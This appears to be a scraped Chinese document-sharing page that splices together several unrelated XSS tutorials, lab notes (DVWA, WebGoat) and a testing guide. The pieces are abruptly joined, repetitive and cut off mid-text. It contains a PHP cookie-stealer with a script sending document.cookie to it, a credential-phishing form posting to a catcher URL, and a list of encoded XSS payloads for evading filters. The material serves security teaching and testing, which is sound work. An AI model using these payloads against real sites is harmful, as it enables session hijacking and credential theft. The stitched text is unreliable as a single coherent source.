web跨站点脚本攻击方式和测试方法
- 格式:doc
- 大小:43.50 KB
- 文档页数:5
常见的网络安全漏洞及其测试方法网络安全漏洞是指计算机系统或网络中存在的漏洞或弱点,使得黑客或攻击者可以利用这些漏洞来进行非法或恶意活动。
为了保护网络安全,应该及时发现和修复这些漏洞。
本文将介绍几种常见的网络安全漏洞以及相应的测试方法。
一、跨站脚本攻击(XSS)漏洞跨站脚本攻击是指攻击者通过在网页中注入恶意脚本代码,从而获取用户的敏感信息、劫持用户会话等。
测试这一漏洞的方法之一是输入特殊字符或脚本代码,并观察网站是否能够正确地过滤和处理这些输入。
另外,还可以利用浏览器插件或命令行工具进行XSS漏洞的扫描和测试。
二、SQL注入漏洞SQL注入漏洞是指攻击者通过在应用程序中注入恶意的SQL语句,从而获取或修改数据库中的数据。
测试这一漏洞的方法是在注入点输入一些特殊的SQL语句,观察系统的响应和行为是否异常。
此外,还可以使用自动化工具,如SQLMap,对应用程序进行全面的SQL注入漏洞扫描。
三、文件上传漏洞文件上传漏洞是指应用程序没有正确验证用户上传的文件,从而导致攻击者可以上传恶意文件并执行任意代码。
测试这一漏洞的方法是尝试上传各种类型的文件,如可执行文件、脚本文件等,检查上传的文件是否能够被正确过滤和验证。
此外,还可以使用文件上传检测工具进行漏洞扫描和测试。
四、未经授权访问漏洞未经授权访问漏洞是指攻击者可以绕过身份验证或访问控制机制,获取到未授权的权限或资源。
测试这一漏洞的方法是尝试使用不同的用户身份或权限进行访问,观察系统是否正确地进行身份验证和权限控制。
此外,还可以使用漏洞扫描工具对系统进行全面的未经授权访问漏洞测试。
五、密码强度不足漏洞密码强度不足漏洞是指用户在设置密码时使用弱口令或常用密码,容易被猜测或破解。
测试这一漏洞的方法是使用密码破解工具或暴力破解程序对用户密码进行测试,检查系统是否对用户设置的密码进行了强度要求和验证。
此外,还可以进行密码策略审计,评估系统密码策略的合理性和安全性。
六、未及时更新漏洞未及时更新漏洞是指应用程序、操作系统或其他软件存在已经公开或已经修复的漏洞,但系统管理员没有及时安装相关的补丁或更新。
DVWA——XSS(跨站脚本攻击)XSS概念:XSS攻击全称跨站脚本攻击,XSS是⼀种经常出现在web应⽤中的计算机安全漏洞,它允许恶意web⽤户将代码植⼊到提供给其它⽤户使⽤的页⾯中。
⽐如这些代码包括HTML代码和客户端脚本。
XSS有三种:反射型XSS:只是简单地把⽤户输⼊的数据反射给浏览器,简单来说,⿊客往往需要⽤户诱使⽤户点击⼀个恶意链接,才能攻击成功。
存储型XSS:将⽤户输⼊的数据存储在服务器端。
DOM XSS:通过修改页⾯的DOM节点形成的XSS。
(可能是存储型也可能使反射型)反射型XSS:Low级:<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}>我们可以看到,代码直接引⽤了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
所以我们构造payload语句:<script>alert(/111/)</script>,可以看到直接就执⾏了我们的js代码。
在www⽬录下创建⼀个cookie.php⽂件,内容如下:<?php$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中file_put_contents('cookie.txt',$cookie);//把偷取的⽤户cookie写到cookie.txt⽂件中>编写js代码将页⾯的cookie发送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#后⾯的参数要进⾏URL编码,页⾯发⽣跳转后,我们发现在WWW⽬录下多了个 cookie⽂件,打开发现成功拿到了cookie。
Web 攻击汇总及攻击方式整理(1)-跨站脚本攻击(XXS攻击) 收藏跨站脚本攻击(XXS攻击)背景知识什么是XSS攻击XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。
故将跨站脚本攻击缩写为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
比如这些代码包括HTML代码和客户端脚本。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。
这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
在2007年OW ASP所统计的所有安全威胁中,跨站脚本攻击占到了22%,高居所有Web威胁之首。
注:OW ASP是世界上最知名的Web安全与数据库安全研究组织XSS攻击的危害包括1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力3、盗窃企业重要的具有商业价值的资料4、非法转账5、强制发送电子邮件6、网站挂马7、控制受害者机器向其它网站发起攻击XSS漏洞的分类XSS漏洞按照攻击利用手法的不同,有以下三种类型:类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示:Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
XSS(跨站脚本攻击)分析与实战⽂章⽬录⼀、漏洞原理1、XSS简介:XSS全称:Cross Site Scripting,即跨站脚本攻击,为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS是最常见的 Web 应⽤程序安全漏洞之⼀,这类漏洞能够使攻击者嵌⼊恶意脚本代码(⼀般是JS代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,恶意脚本代码将会在⽤户的浏览器上执⾏,从⽽达到恶意攻击⽤户的⽬的。
从上述内容可知,XSS属于客户端攻击,受害者最终是⽤户。
但不要以为受害者是⽤户,就认为跟⾃⼰的⽹站、服务器安全没有关系,不要忘记⽹站管理⼈员也属于⽤户之⼀,这就意味着 XSS 可以攻击 “服务器端”。
因为管理员要⽐普通⽤户的权限⼤得多,⽽攻击者就有可能靠管理员⾝份作为“跳板”实施攻击。
2、XSS原理解析:XSS攻击在⽹页中嵌⼊的恶意脚本代码⼀般是使⽤ JavaScript 语⾔,JavaScript 可以获取⽤户的Cookie、改变⽹页内容、URL跳转,那么存在XSS漏洞的⽹站,就可以盗取⽤户Cookie、⿊掉页⾯、导航到恶意⽹站,⽽攻击者需要做的仅仅是向Web页⾯中注⼊JavaScript 代码。
下⾯是⼀个简单的XSS漏洞实例,代码如下:<html><head><meta content="text/html;charset=utf-8"/><title>xss漏洞⽰例</title></head><body><center><h6>把输⼊的字符串输出</h6><form action="#" method="get"><h6>请输⼊</h6><input type="text" name="xss"><br /><input type="submit" value="确定"></form><hr><?phpif (isset($_GET['xss'])) {echo '<input type="text" value="'.$_GET['xss'].'">';}else{echo '<input type="text">';}></center></body></html>在代码中,通过GET获取参数xss的值,然后通过echo输出⼀个input标签,并将xss的值放⼊input标签的value中。
WebGoat学习笔记九—跨站脚本攻击(Cross-Site Scripting (XSS))瞿靖东2015/11/10版本号:WebGoat 5.41、使用XSS钓鱼(Phishing with XSS)技术概念或主题(Concept / T opic T o T each)在服务端对所有输入进行验证总是不错的做法。
当用户输入非法HTTP响应时容易造成XSS。
在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。
对于受害者来说很难发现该内容是否存在威胁。
技术原理(How It works )HTML文档内容很容易篡改的,如果你有权限操作页面源代码。
总体目标(General Goals )创建一个form,要求填写用户名和密码。
将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam操作方法(Solutions)利用XSS可以在已存在的页面中进一步添加元素。
该解决方案包括两部分,你需要结合起来使用:受害人填写一个表格;以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格如下:<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name="pass"><br></form><br><br><HR>搜索这段代码,你就能看到页面中增加了一个表单。
Web攻防系列教程之跨站脚本攻击和防范技巧详解摘要:XSS跨站脚本攻击⼀直都被认为是客户端Web安全中最主流的攻击⽅式。
因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。
那么,XSS跨站脚本攻击具体攻击⾏为是什么,⼜该如何进⾏有效的防范呢?本⽂对此进⾏了有针对性的具体实例分析。
XSS跨站脚本攻击⼀直都被认为是客户端Web安全中最主流的攻击⽅式。
因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。
那么,XSS跨站脚本攻击具体攻击⾏为是什么,⼜该如何进⾏有效的防范呢?本⽂对此进⾏了有针对性的具体实例分析。
跨站脚本攻击(Cross Site Scripting)是指攻击者利⽤⽹站程序对⽤户输⼊过滤不⾜,输⼊可以显⽰在页⾯上对其他⽤户造成影响的HTML 代码,从⽽盗取⽤户资料、利⽤⽤户⾝份进⾏某种动作或者对访问者进⾏病毒侵害的⼀种攻击⽅式。
为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。
下⾯这个页⾯的主要作⽤是获取⽤户输⼊的参数作为⽤户名,并在页⾯中显⽰“欢迎您,XXX”的形式,具体代码如下:<?php$username = $_GET["name"];echo "<p>欢迎您, ".$username."!</p>";>正常情况下,⽤户会在URL中提交参数name的值为⾃⼰的姓名,然后该数据内容会通过以上代码在页⾯中展⽰,如⽤户提交姓名为“张三”,完整的URL地址如下:在浏览器中访问时,会显⽰如下图1所⽰内容:图1在浏览器中访问时,我们发现会有弹窗提⽰,如下图2所⽰:图2那么此时页⾯的源码⼜是什么情况呢?源码变成了“<p>欢迎您, <script>alert(/我的名字是张三/)</script>!</p>”,从源代码中我们发现,⽤户输⼊的数据中,<script>与</script>标签中的代码被浏览器执⾏了,⽽这并不是⽹页脚本程序想要的结果。
Web安全测试——手工安全测试方法及修改建议发表于:2017-7-17 11:47 ?作者:liqingxin ? 来源:51Testing软件测试网采编字体:大?中?小?|?上一篇?|?下一篇?|?打印?|我要投稿?|?推荐标签:?软件测试工具?XSS?安全测试工具常见问题1.XSS(CrossSite Script)跨站脚本攻击XSS(CrossSite Script)跨站脚本攻击。
它指的是恶意攻击者往Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到恶意用户的特殊目的。
测试方法:?在数据输入界面,添加记录输入:<script>alert(/30141/)</script>,添加成功如果弹出对话框,表明此处存在一个XSS?漏洞。
或把url请求中参数改为<script>alert(/30141/)</script>,如果页面弹出对话框,表明此处存在一个XSS 漏洞修改建议:过滤掉用户输入中的危险字符。
对输入数据进行客户端和程序级的校验(如通过正则表达式等)。
Eg:对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤2.CSRF与跨站脚本(XSS)CSRF与跨站脚本(XSS),是指请求迫使某个登录的浏览器向易受攻击的Web应用发送一个请求,然后以受害者的名义,为入侵者的利益进行所选择的行动。
测试方法:同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功使用工具发送请求,在http请求头中不加入referer字段,检验返回消息的应答,应该重新定位到错误界面或者登陆界面。
修改建议:在不同的会话中两次发送同一请求并且收到相同的响应。
这显示没有任何参数是动态的(会话标识仅在cookie 中发送),因此应用程序易受到此问题攻击。
因此解决的方法为1.Cookie Hashing(所有表单都包含同一个伪随机值):2. ?验证码3.One‐Time Tokens(不同的表单包含一个不同的伪随机值)客户端保护措施:应用防止CSRF攻击的工具或插件。
学习常见web攻击防范方法学习常见 Web 攻击防范方法Web 攻击是指利用互联网技术和漏洞,对 Web 应用程序进行非法访问、操控或者破坏的行为。
为了保障网站和用户的安全,我们需要学习常见的 Web 攻击防范方法。
本文将介绍一些常见的 Web 攻击类型以及相应的防范方法。
一、跨站脚本攻击(Cross-Site Scripting, XSS)跨站脚本攻击是一种通过在网站中植入恶意脚本来攻击用户的漏洞。
攻击者利用这种漏洞可以窃取用户的敏感信息、劫持用户会话或者篡改网页内容。
为了防止 XSS 攻击,开发人员应该对用户输入进行合理过滤和转义,使用安全的编码方式输出动态内容,禁止直接在页面中执行用户输入的脚本。
二、SQL 注入攻击(SQL Injection)SQL 注入是指攻击者通过在 Web 应用程序的输入字段中注入恶意的 SQL 代码,从而对数据库进行非法的操作。
攻击者可以通过 SQL 注入的方式获取敏感数据、删除或者修改数据库内容,甚至获取服务器权限。
预防 SQL 注入的方法包括使用参数化查询、使用安全的数据库访问方式、限制数据库的权限等。
三、跨站请求伪造(Cross-Site Request Forgery, CSRF)跨站请求伪造是一种利用用户在已经登录的情况下,通过伪装合法网站来执行非法操作的攻击方式。
攻击者可以利用受害者的身份发送恶意请求,例如转账、发表言论等。
为了预防 CSRF 攻击,开发人员应该使用 CSRF 令牌进行验证,限制请求的来源和访问权限,以及对敏感操作进行二次确认。
四、点击劫持(Clickjacking)点击劫持是指攻击者通过在网页的透明层上放置一个看不见的恶意内容,诱使用户在不知情的情况下点击该内容,从而执行意外的操作。
为了防止点击劫持,可以使用 X-Frame-Options 头部来限制页面的嵌套,以防止页面被嵌入到其他网站中。
五、文件上传漏洞文件上传漏洞是指攻击者通过上传恶意脚本或者可执行文件来获取服务器的控制权。
跨站脚本攻击XSS(CrossSiteScript)的原理与常见场景分析前⾔前段时间在⽹上看到⼀个,好奇之下进去看了看。
胜利的条件是你录⼊⼀个串,让其调⽤prompt(1) 。
发现⾥⾯有好多想不到的东西,今天终于悠闲了来这⾥说说XSS。
XSS 原理跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页⾯⾥插⼊恶意Script代码,当⽤户浏览该页之时,嵌⼊其中Web⾥⾯的Script代码会被执⾏,从⽽达到恶意攻击⽤户的⽬的。
XSS 常见场景⼀些私⼈的博客,攻击者恶意评论,弹出alert,这种充其量也就是⼀个玩笑。
但是如果是盗窃cookie,异常提交请求,这些就⽐较难受了。
prompt(1)chrome 版本 62.0.3202.75(正式版本)(64 位)function escape(input) {// warm up// script should be executed without user interactionreturn '<input type="text" value="' + input + '">';}第⼀个这是⼀个开胃菜,没有做任何校验,这种不设防的在现在已经很少了。
他把值直接拼⼊字符串,组成⼀个DOM input标签,那我们只要正确的把标签闭合掉就可以调⽤了。
"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ,这样就等于插⼊了我们的代码。
到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。
如果您很精通XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。
如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。
“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。
所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。
从现在开始,我们将使用它常见的缩写名称“XSS”。
XSS 攻击的过程涉及以下三方:•攻击者•受害者•存在漏洞的网站(攻击者可以使用它对受害者采取行动)在这三方之中,只有受害者会实际运行攻击者的代码。
网站仅仅是发起攻击的一个载体,一般不会受到影响。
可以用多种方式发起XSS 攻击。
例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意URL。
当受害者在Web 浏览器中打开该URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚本。
XSS 漏洞是什么样的呢?作为一名Web 开发人员或测试人员,您肯定知道Web 应用程序的技术基础是由HTTP 和HTML 组成的。
HTTP 协议是HTML 的传输机制,可使用代码设计Web 页面布局和生成页面。
如果Web 应用程序接受用户通过HTTP 请求(如GET 或POST)提交的输入信息,然后使用输出HTML 代码在某些地方显示这些信息,便可能存在XSS 漏洞。
下面是一个最简单的例子:1. Web 请求如下所示:GET/page.asp?pageid=10&lang=en&title=Section%20Title2. 在发出请求后,服务器返回的HTML 内容包括:<h1>Section Title</h1>可以看到,传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由Web 应用程序插入到<h1> 标记中。
通过提供输入内容,攻击者可以控制HTML。
3. 现在,如果站点没有在服务器端对用户输入加以过滤(因为总是可以绕过客户端控件),那么恶意用户便可以使用许多手段对此漏洞加以滥用:攻击者可以通过摆脱<h1> 标记来注入代码:/page.asp?pageid=10&lang=en&title=Section%20Title</h1><script>aler t(‘XSS%20attack’)</script>这个请求的HTML 输出将为:<h1>Section Title</h1><scr ipt>alert(‘XSS attack’)</script>即便是这个最简单的例子,攻击者也可以利用此连接完成数不清的事情。
让我们看看会有哪些潜在的威胁,然后讨论一些更高级的测试方法。
XSS 攻击的威胁有多么严重?由于能够在生成的Web 页面中注入代码,能想到的威胁有多么严重,就可以有多么严重的威胁。
攻击者可以使用XSS 漏洞窃取Cookie,劫持帐户,执行ActiveX,执行Flash 内容,强迫您下载软件,或者是对硬盘和数据采取操作。
只要您点击了某些URL,这一切便有可能发生。
每天之中,在阅读来自留言板或新闻组的受信任的电子邮件的时侯,您会多少次地单击其中的URL?网络钓鱼攻击通常利用XSS 漏洞来装扮成合法站点。
可以看到很多这样的情况,比如您的银行给你发来了一封电子邮件,向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。
如果仔细观察这些URL,它们实际上可能利用了银行网站中存在的漏洞,它们的形式类似于/somepage?redirect=<script>alert(‘XSS’)</script>,这里利用了“redirect”参数来执行攻击。
如果您足够狡猾的话,可以将管理员定为攻击目标,您可以发送一封具有如下主题的邮件:“求救!这个网站地址总是出现错误!”在管理员打开该URL 后,便可以执行许多恶意操作,例如窃取他(或她)的凭证。
好了,现在我们已经理解了它的危害性-- 危害用户,危害管理员,给公司带来坏的公共形象。
现在,让我们看看本文的重点-- 测试您的网站是否存在这些问题。
测试XSS 漏洞多年以来,我一直是一名全职的安全顾问,已经做过无数次的这种测试了。
我将好的测试计划归结为两个字:彻底。
对于你我来说,查找这些漏洞与能够有机会在Bugtraq 或V ulnwatch 上吹嘘一番没有任何关系;它只与如何出色完成负责的工作有关。
如果这意味着对应用程序中所有的单个查询字符串参数、cookie 值以及POST 数据值进行检查,那么这只能表明我们的工作还不算太艰巨。
显然,一次完整的安全性检查所涉及的内容通常远远超出寻找XSS 漏洞那样简单;它需要建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。
好在执行这样彻底的工作时,各个领域之间都存在重叠。
比如,在测试XSS漏洞时,经常会同时找出错误处理或信息泄漏问题。
我假设您属于某个负责对Web 应用程序进行开发和测试的小组。
在这个幸运的位置上,您可以混合使用黑盒和白盒方法。
每种方法都有它自己的优点,结合使用时甚至能相互提供支持。
1. 按顺序准备您的工具包测试工作也可以是自动化的,但是我们在这里只讨论手动操作。
手动测试的必备工具包括:•Paros proxy (),用于截获HTTP通信数据•Fiddler (/fiddler),用于截获HTTP 通信数据• Burp proxy (/proxy/)•TamperIE (/dl/TamperIESetup.exe),用于修改GET 和POST我们以上至少列出了三种Web 代理软件。
也可以寻找其他不同的类似产品,因为每种产品都有它自己的独到之处。
下面,您需要在Web 浏览器发出HTTP请求之前截获这些请求,并修改它们以注入XSS 测试代码。
上面所有这些工具都可以完成这项任务,某些工具还会显示返回的HTML 源代码(如果您选择了截获服务器响应)。
截获客户端发出的GET 和POST 请求非常重要。
这样可以绕过所有的客户端javascript 输入验证代码。
我在这里要提醒所有Web 开发人员-- 客户端安全控制是靠不住的。
应该总是在服务器端执行有效性验证。
2. 确定站点及其功能-- 与开发人员和PM 交流绘制一些简单的数据流图表,对站点上的页面及其功能进行描述。
此时,可以安排一些与开发人员和项目经理的会议来建立威胁模型。
在会议上尽可能对应用程序进行深入探讨。
站点公开了Web 服务吗?是否有身份验证表单?有留言板吗?有用户设置页面吗?确保列出了所有这些页面。
3. 找出并列出所有由用户提供输入的点对站点地图进行进一步细化。
我通常会为此创建一个电子表格。
对于每个页面,列出所有查询字符串参数、cookie 值、自定义HTTP 标头、POST 数据值和以其他形式传递的用户输入。
不要忘记搜索Web 服务和类似的SOAP 请求,并找出所有允许用户输入的字段。
分别列出每个输入参数,因为下面需要独立测试每个参数。
这可能是最重要的一个步骤!如果阅读下面的电子表格,您会看到我已经在示例站点中找出了一大堆这样的东西。
如forwardURL 和lang 这样的查询字符串。
如name、password、msgBody、msgTitle 和这样的POST 数据,甚至某些Cookie 值。
所有这些都是我们感兴趣的重要测试内容。
4. 认真思考并列出测试用例使用已经得到的电子表格并列出各种用来测试XSS 漏洞的方法。
我们稍候将讨论各种方法,但是现在先让我们看看我的电子表格的屏幕截图,请注意,我列出了页面上允许的每个值以及每个值的所有测试类型。
这种记录测试的方法仅是我自己的习惯,您可以使用自己的方法。
我喜欢记录所有东西,以便我能知道已经做了哪些工作和哪些工作没有做。
5. 开始测试并注意输出结果在查找漏洞的过程中,最重要的部分并不是您是否找到了漏洞。
而是您是否真正知道究竟发生了哪些事情。
对于XSS,只需检查HTML 输出并看看您输入的内容在什么地方。
它在一个HREF 标记中吗?是否在IFRAME 标记中?它在CLSID 标记中吗?在IMG SRC 中吗?某些Flash 内容的PARAM NAME 是怎样的?我会检查所有这些情况,如果您对所输入内容的目的十分了解,可以调整您的测试来找出问题。
这意味着您可能需要添加一个额外的封闭括号“>”来让某个标记变得完整,或者添加一个双引号来关闭标记内的一个元素。
或者,您可能需要使用URL 或HTML 来编码您的字符,例如将双引号变为%22 或"。
嗯,并不那么容易,这个站点看来防范比较严密。
现在该怎么办呢?那么,也许您的简单测试用例<script>alert(‘hi’)</script> 并不能产生期望中的警告对话框。
仔细想想这个问题并在可能的情况下与开发人员进行交流。
也许他们对输入中的尖括号、单引号或圆括号进行了过滤。
也许他们会过滤“script”这个词。
重新研究为何输入会产生这样的输出,并理解每个值(查询字符串、cookie、POST 数据)的作用。
“pageId=10”这样的查询字符串值可能对输出没有影响,因此不值得花费时间测试它。
有时,最好试着注入单个字符(例如尖括号、双引号标记或者圆括号),看看应用程序是否过滤这些字符。
然后,便可以知道您面对的过滤级别究竟如何。
接着,可以调整测试方法,对这些字符进行编码并重试,或者寻找其他注入办法。
我恐怕无法充分对此进行说明:研究输入的值会输出什么样的HTML 页面非常重要。
如果它们不能产生输出,那么不要在它们上面浪费时间。
如果可以,请进行研究,因为您需要根据输出对测试进行相应的修改。
我使用了各种变化形式来找出能接受和显示脚本代码的参数。
因为这涉及太多内容,因此在这里无法一一进行讨论,但是请务必注意以下几种情况:1. >"'><script>alert(‘XSS')</script>2. >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>3. >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26 %23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS% 26quot;)>4. AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%225. %22%2Balert(%27XSS%27)%2B%226. <table background="javascript:alert(([code])"></table>7. <object type=text/html data="javascript:alert(([code]);"></object>8. <body onload="javascript:alert(([code])"></body>有许多变化形式可以尝试。